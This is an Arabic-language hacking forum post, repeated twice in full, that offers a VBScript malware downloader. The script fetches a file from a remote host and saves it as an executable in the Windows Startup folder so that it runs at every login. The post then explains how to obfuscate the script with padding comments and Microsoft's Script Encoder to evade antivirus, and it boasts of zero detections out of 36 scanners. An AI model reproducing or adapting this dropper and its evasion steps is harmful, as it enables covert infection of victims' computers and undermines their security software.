libya_hacker
26-08-2008, 06:24
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
الداونلوادر قبر التشفير
downloader-fr.vbs
strFileURL = "http://www.domain.com/server.vbs"
strHDLocation = "C:\Documents and Settings\All Users\Menu Démarrer\Programmes\Démarrage\server.exe"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
downloader-en.vbs
strFileURL = "http://www.domain.com/server.vbs"
strHDLocation = "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\server.exe"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
المرجوا عمل تشويش في الكود باضافة ارقام نهاية كل سطر:' 18 يمكن كدلك اضافة اسطر اضافية:
' 0
strFileURL = "http://startingsearch.googlepages.com/pub.doc" ' 1
strHDLocation = "C:\Documents and Settings\All Users\Menu Démarrer\Programmes\Démarrage\pub.doc" ' 2
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") ' 3
objXMLHTTP.open "GET", strFileURL, false ' 4
objXMLHTTP.send() ' 5
If objXMLHTTP.Status = 200 Then ' 6
Set objADOStream = CreateObject("ADODB.Stream") ' 7
objADOStream.Open ' 8
objADOStream.Type = 1 'adTypeBinary ' 9
objADOStream.Write objXMLHTTP.ResponseBody ' 10
objADOStream.Position = 0 ' 11
Set objFSO = Createobject("Scripting.FileSystemObject") ' 12
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation ' 13
Set objFSO = Nothing ' 14
objADOStream.SaveToFile strHDLocation ' 15
objADOStream.Close ' 16
Set objADOStream = Nothing ' 18
End if ' 19
نتيجة الفحص
http://uplofile.free.fr/rep5/685568481.jpg
الداونلوادر بعد التشفير:
downloader-fr.vbe
#@~^8QIAAA==dDDobVjIdP{~J4YOw=z&;aVW6rVR0MnnR6DJDnwX&W!f,+&8w;8cLwLE@#@&dYMuGSG1lDkW P{~J;)wfKm;hxYk~l NPUnOYbxT/wbss,jd+Md-t+U;,fé:C.M+.-h.Ko.m:s+/'fésCDMlL+'RnaJ@#@&j+DPW(%pHdC:KKPx~;DnlDnr(Ln^D`J\joHJ cptSu:KhJ#@#@&K8LoHJC:KK Kw+ ~JV2KrS~/DDwks+i]d~~0ms/@#@&G(L(\J_KPncdx[v#@#@&q6PK8LoHJC:KK UYlD;/,'PyTTP:tx@#@&jnDPG4N)f}?O.l:~x,Z.+mOr8N+1Y`rbG6f~RjYM+Chr#@#@&G4Nbf}jODlsR6wnU@#@&G4N)f}?O.l: PHwnP{~8@#@&K4Nbf}?D.+m: MkOn,W4NpHdCK:K I/aWU/n$KNz@#@&~W(L)9}?Y.nm: nKdbYrKx,'PZ@#@&~?Y~W(Loj}P',/DlYG8LmD`E?^.bwOk LRwksnUX/Onsr8L^DJb@#@&,q0,W(%sUr sbVnnXk/Dd`kYD_9JW1lDkGxb~:tnx,G4Nsj6cf+snD+ok^n,/OMCGSW1lDrW @#@&P,?nO,W4No?}P',HGY4k o@#@&~~K4%bG6?DDnCsR?C-KGsbsPdDD_fSKmmOkKx@#@&,PG8Nbf}jYM+ls /VK/@#@&P~jY~W(%bGrjOM+lh~{PHWD4bxL@#@&,2x9PbW5uoAAA==^#~@
اداة التشفير من مايكرو زفت |114|:
http://download.microsoft.com/download/0/0/7/0073477f-bbf9-4510-86f9-ba51282531e3/sce10en.exe
شكرا بيل غيتس خخخخخخخخخخخخخخخخخخخخخخخ.
كود التشفير في الدوس
screnc downloader.vbs downloader.vbe
نتيجة الفحص بعد التشفير:
0/36 اي تمكن فقط صفر برنامج حماية من اكتشافه من بين 36.
السلام عليكم ورحمة الله وبركاته
الداونلوادر قبر التشفير
downloader-fr.vbs
strFileURL = "http://www.domain.com/server.vbs"
strHDLocation = "C:\Documents and Settings\All Users\Menu Démarrer\Programmes\Démarrage\server.exe"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
downloader-en.vbs
strFileURL = "http://www.domain.com/server.vbs"
strHDLocation = "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\server.exe"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
المرجوا عمل تشويش في الكود باضافة ارقام نهاية كل سطر:' 18 يمكن كدلك اضافة اسطر اضافية:
' 0
strFileURL = "http://startingsearch.googlepages.com/pub.doc" ' 1
strHDLocation = "C:\Documents and Settings\All Users\Menu Démarrer\Programmes\Démarrage\pub.doc" ' 2
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") ' 3
objXMLHTTP.open "GET", strFileURL, false ' 4
objXMLHTTP.send() ' 5
If objXMLHTTP.Status = 200 Then ' 6
Set objADOStream = CreateObject("ADODB.Stream") ' 7
objADOStream.Open ' 8
objADOStream.Type = 1 'adTypeBinary ' 9
objADOStream.Write objXMLHTTP.ResponseBody ' 10
objADOStream.Position = 0 ' 11
Set objFSO = Createobject("Scripting.FileSystemObject") ' 12
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation ' 13
Set objFSO = Nothing ' 14
objADOStream.SaveToFile strHDLocation ' 15
objADOStream.Close ' 16
Set objADOStream = Nothing ' 18
End if ' 19
نتيجة الفحص
http://uplofile.free.fr/rep5/685568481.jpg
الداونلوادر بعد التشفير:
downloader-fr.vbe
#@~^8QIAAA==dDDobVjIdP{~J4YOw=z&;aVW6rVR0MnnR6DJDnwX&W!f,+&8w;8cLwLE@#@&dYMuGSG1lDkW P{~J;)wfKm;hxYk~l NPUnOYbxT/wbss,jd+Md-t+U;,fé:C.M+.-h.Ko.m:s+/'fésCDMlL+'RnaJ@#@&j+DPW(%pHdC:KKPx~;DnlDnr(Ln^D`J\joHJ cptSu:KhJ#@#@&K8LoHJC:KK Kw+ ~JV2KrS~/DDwks+i]d~~0ms/@#@&G(L(\J_KPncdx[v#@#@&q6PK8LoHJC:KK UYlD;/,'PyTTP:tx@#@&jnDPG4N)f}?O.l:~x,Z.+mOr8N+1Y`rbG6f~RjYM+Chr#@#@&G4Nbf}jODlsR6wnU@#@&G4N)f}?O.l: PHwnP{~8@#@&K4Nbf}?D.+m: MkOn,W4NpHdCK:K I/aWU/n$KNz@#@&~W(L)9}?Y.nm: nKdbYrKx,'PZ@#@&~?Y~W(Loj}P',/DlYG8LmD`E?^.bwOk LRwksnUX/Onsr8L^DJb@#@&,q0,W(%sUr sbVnnXk/Dd`kYD_9JW1lDkGxb~:tnx,G4Nsj6cf+snD+ok^n,/OMCGSW1lDrW @#@&P,?nO,W4No?}P',HGY4k o@#@&~~K4%bG6?DDnCsR?C-KGsbsPdDD_fSKmmOkKx@#@&,PG8Nbf}jYM+ls /VK/@#@&P~jY~W(%bGrjOM+lh~{PHWD4bxL@#@&,2x9PbW5uoAAA==^#~@
اداة التشفير من مايكرو زفت |114|:
http://download.microsoft.com/download/0/0/7/0073477f-bbf9-4510-86f9-ba51282531e3/sce10en.exe
شكرا بيل غيتس خخخخخخخخخخخخخخخخخخخخخخخ.
كود التشفير في الدوس
screnc downloader.vbs downloader.vbe
نتيجة الفحص بعد التشفير:
0/36 اي تمكن فقط صفر برنامج حماية من اكتشافه من بين 36.